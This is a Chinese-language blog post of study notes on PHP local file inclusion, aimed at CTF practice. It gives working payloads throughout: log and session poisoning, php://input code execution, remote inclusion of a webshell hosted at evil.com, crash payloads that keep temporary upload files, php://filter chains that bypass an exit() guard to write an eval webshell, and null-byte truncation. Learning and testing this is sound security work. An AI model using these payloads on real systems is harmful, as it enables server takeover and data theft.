PHP 本地文件包含(LFI)漏洞学习笔记

PHP 本地文件包含(LFI)漏洞学习笔记

前言

很久之前就想写这篇文章了,这次正好接着这个国庆假期就好好写一写,给自己加深写印象。

正文

引子

何为LFI?全程Local File Inclusion,中文译作本地文件包含漏洞。

既然是包含漏洞,那肯定少不了包含的函数。在PHP中,通常是下面四个包含函数:

1
2
3
4
include()
include_once()
require()
require_once()

这四个函数功能相近,其中带_once的函数与不带_once的函数区别在于:对于前者不会进行重复引用,故而造成某些变量覆盖问题。而include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行

两种文件包含

既然我们可以选择任意文件进行包含,如果我们选择一个webshell的话,那么岂不是就能拿到网站的控制权限?

本地包含

最简单的,我们可以通过上传一个包含webshell内容的图片,然后通过包含此图片即可得到一个可以控制的webshell。

除了上传恶意文件以外,我们也可以通过包含一些日志服务产生的日志文件。常用的有:

1
2
3
4
5
6
7
/proc/self/environ
/proc/self/fd/1,2,3,4...
# ssh日志,攻击方法:
# ssh `<?php phpinfo(); ?>`@192.168.1.1
/var/log/auth.log
# apache日志
/var/log/apache2/[access.log|error.log]

session文件包含

此方法需要PHP版本>5.4.0、配置项:session.upload_progress.enabled的值为On、代码中存在session_start函数,不过好在其默认值为On。

此方法的作用是记录上传文件时的一些信息之用。

当我们在上传文件时,若存在一个上传的字段名与session.upload_progress.name的值相同的话,当前文件的上传进度信息将会保存在$_SESSION中获得。

如:

1
2
3
4
5
<form action="http://127.0.0.1/1.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo(); ?>" />
<input type="file" name="file" />
<input type="submit" />
</form>

此时,在相应的session文件中,就会存有我们上传的恶意代码。

session默认位置:/var/lib/php/sessions/sess_[Cookie中PHPSESSID的值]

tmp临时文件包含

同样是上传文件,当PHP遇到enctype="multipart/form-data时,会产生临时文件来保存上传文件内容,等上传结束后再执行相应操作(及时当前php文件不存在php代码,同样会产生临时文件)。

临时文件默认目录为:

  • Linux:/tmp/php[w]{6}
  • Windows:C:/Windows/php[4个随机字符].tmp

法一:分段传输防止临时文件删除过快。

需要提前知道临时文件的具体位置(上传位置填phpinfo文件时,回显内容中会提供)。

法二:PHP异常崩溃

上传位置填LFI文件

1
2
3
4
5
1. 7.0.0 <= PHP Version < 7.0.28
php://filter/string.strip_tags/resource=/etc/passwd

2. php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

第一种是由于:

php代码中使用php://filter的过滤器strip_tags , 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不想phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

当PHP异常退出后,就可以编写脚本,通过遍历文件来尝试包含后getshell了。

远程包含

利用前提(与data协议的利用前提相同):

  • allow_url_fopen = On 是否允许打开远程文件
  • allow_url_include = On 是否允许include/require远程文件

若 allow_url_fopen为Off,而allow_url_include为On,可以直接利用php://input执行恶意代码。

利用过程:

在公网上比如evil.com/1.txt存放恶意webshell,通过包含http://evil.com/1.txt即可执行恶意payload。

PHP伪协议简单入门

何为伪协议?简单的说,就是自己定义的协议,也只有自己的软件支持,其他软件都不识别的协议就是伪协议。

在PHP中,PHP给自己定义了一个php伪协议,以:php://起头。

至于http://file://这些都不是伪协议,都是大部分系统/软件都支持的协议,共享同一套协议标准。

当然,也不只是只有包含函数能使用,类似其他许多涉及到文件读取/写入的函数都可能存在问题,这里我再列举出一些也可以使用PHP伪协议的函数:

  • file_get_contents
  • file_put_contents
  • readfile
  • fopen
  • file
  • show_source或highlight_file

需注意的是:

1
2
3
4
5
6
<?php
show_source($_GET['yunen']); # 有回显
file_get_contents($_GET['yunen']); # 无回显
echo file_get_contents($_GET['yunen']); # 有回显
?>
# show_source相当于自带输出功能,而file_get_contents并没有。

php://filter

官方定义如下:

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

简单的说就是php伪协议的过滤器功能,可以通过拼接各种过滤器达到快速转换字节流的效果。如:

1
2
3
<?php
include($_GET['file']);
# ?file=php://filter/read=convert.base64-encode/resource=flag.php

此时php会读取flag.php文件内容后,通过convert过滤器的base64-encode方法,最总将所得结果以php代码的形式包含到运行的php文件之中,由于base64编码之后的内容不会出现<?,所以必然不会被识别为php代码,故而能起到文件读取的作用。

image-20201001030030448

php://input

前提:allow_url_include=On,PHP版本>5.2后,默认值为Off。

此方法相当于取HTTP数据包的BODY数据(即POST数据)。如:

1
2
3
<?php
echo file_get_contents($_GET['yunen']);
?>

如下图:

image-20201001030929069

注意,此协议也可直接执行恶意代码:

1
2
3
4
5
6
<?php
include($_GET['f']);
?>

#URL: /lfi.php?f=php://input
#POST DATA: <?php phpinfo();?>

php伪协议进阶学习

从这开始后文可能会有点乱,因为我实在不知道如何按什么顺序来写,只好想到哪写到哪了。

过滤器列表

对于php://来说,支持多种过滤器嵌套,其格式为:

1
2
3
php://filter/[read|write]=[过滤器1]|[过滤器2]/resource=文件名称(包含后缀名)
# 过滤|的情况下,使用多过滤器:
php://filter/string.rot13/resource=php://filter/convert.base64-encode/resource=文件名称

其中filter/[read|write]=[过滤器]可简写为filter/[过滤器],php会自选判断是read还是write。

而对于过滤器来说,php伪协议主要支持以下几类:

嵌套过程的执行流程为从左到右。常用的过滤器有:

过滤器名称 说明 类别 版本
string.rot13 rot13转换 字符串过滤器 PHP>4.3.0
string.toupper、string.tolower 大小写互转 字符串过滤器 PHP>5.0.0
string.strip_tags 去除<?(.*?)?>的内容 string.strip_tags PHP<7.3.0
convert.base64-encode、convert.base64-decode base64编码转换 转换过滤器 PHP>5.0.0
convert.quoted-printable-encode、convert.quoted-printable-decode URL编码转换 转换过滤器 PHP>5.0.0
convert.iconv.编码1.编码2 任意编码转换 转换过滤器 PHP>5.0.0
zlib.deflate、zlib.inflate zlib压缩 压缩过滤器 PHP>5.1.0
bzip2.compress、bzip2.decompress zlib压缩 压缩过滤器 PHP>5.1.0

file_put_contents

对于写出函数来说,php伪协议同样可以执行,此考点以死亡exit最为出名,常在CTF中碰见。

例子:

1
2
3
4
5
<?php
$filename=$_GET['filename'];
$content=$filename;
file_put_contents($filename,'<php exit()?>'.$content);
?>

如何跳出死亡exit,让程序执行我们人为定义的代码?

法一:convert.base64-decode过滤器

此方法需要注意,convert.base64-decode过滤器的特殊规则:

  • 遇到除[a_zA-Z0-9_/]之外的字符通通忽略不计
  • 每4个字符作为一组进行解码,最后一组可不满4个字符
  • 等号后边不允许接除了等号以外的任何内容,如:=a √、== ×

而对于上题来说,php://filter/write=此处的等号可以简写成:php://filter/,但是后边的resource=文件名却不能简写或去掉。

可以配合convert.quoted-printable-decode过滤器,将等号吞掉,如:

1
2
3
4
5
6
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-decode');
fwrite($fp, "/resource=aaaPD9waHAgZXZhbCgkX0dFVFsxXSk7LyogPz4");
/* Outputs: /resourceªaPD9waHAgZXZhbCgkX0dFVFsxXSk7LyogPz4 */
?>

其中的ª=aa经过convert.quoted-printable-decode过滤器转换而得。

而对于后边的convert.base64-decode过滤器来说,ª为可忽略字符,故在不影响后续转换的前提下将等号吞掉了,类似于宽字节SQL注入的原理。

法二:convert.iconv.utf-8.utf-7过滤器

此过滤器会将等号转换成+AD0-,从而避开了后边的resource=文件名的影响。

payload1:

1
php://filter/PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=yunen.php

此方法需要求:

  • 包含函数不能为require,因为不存在PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+过滤器。
  • 而对于PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+处,注意不能出现等号,因为可能会影响前边的base64数据,可在编码前的数据尾添加一些垃圾数据防止影响(base64分段编码特性)。

法三:usc-2、usc-4过滤器

payload1:

1
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php;

payload2:

1
php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php

摘自:file_put_content和死亡·杂糅代码之缘

法四:string.strip_tags过滤器

payload:

1
php://filter/string.strip_tags/resource=?>/../yunen.php

前提条件:

  • PHP版本<7.3.0
  • Linux服务器(Windows不允许文件夹/文件名带?>。)

法五:zlib.deflate|string.tolower|zlib.inflate压缩解压过滤器

payload:

1
php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=2.php

原理:先通过zlib将流数据进行压缩,再讲其中的大写字母转小写后进行解压,所得数据与最初发数据会产生部分差别,故<?php exit()将会变成<?php@厁it();

其他协议

除了php伪协议外,PHP还支持包含以下协议的数据流:

1
2
3
4
5
6
7
8
9
10
11
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

限制包含文件的后缀名

在CTF题中,经常遇到限制了后缀的,如:

1
2
3
<?php
include($_GET['f'].'.php');
?>

可是我们却无法上传php文件,该如何利用呢?

法一:00截断

前提:PHP版本<5.3.4

1
lfi.php?f=shell.txt%00

法二:长度截断

前提:PHP版本<5.2.10 (?)

操作系统对于目录字符串存在长度限制,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./即可:

1
2
lfi.php?file=././././[./]+/./shell.txt
lfi.php?file=./shell.txt/.[...]+. # 仅Windows下有效

法三:zip、phar协议

image-20201003021905721

zip与phar协议均不在意所选定文件的后缀名。

1
2
zip://文件路径/zip文件名称#压缩包内的文件名称 (使用时注意将#号进行URL编码)
phar://文件路基/phar文件名称/phar内的文件名称

参考

作者

Yunen

发布于

2020-10-02

更新于

2020-12-25

许可协议

评论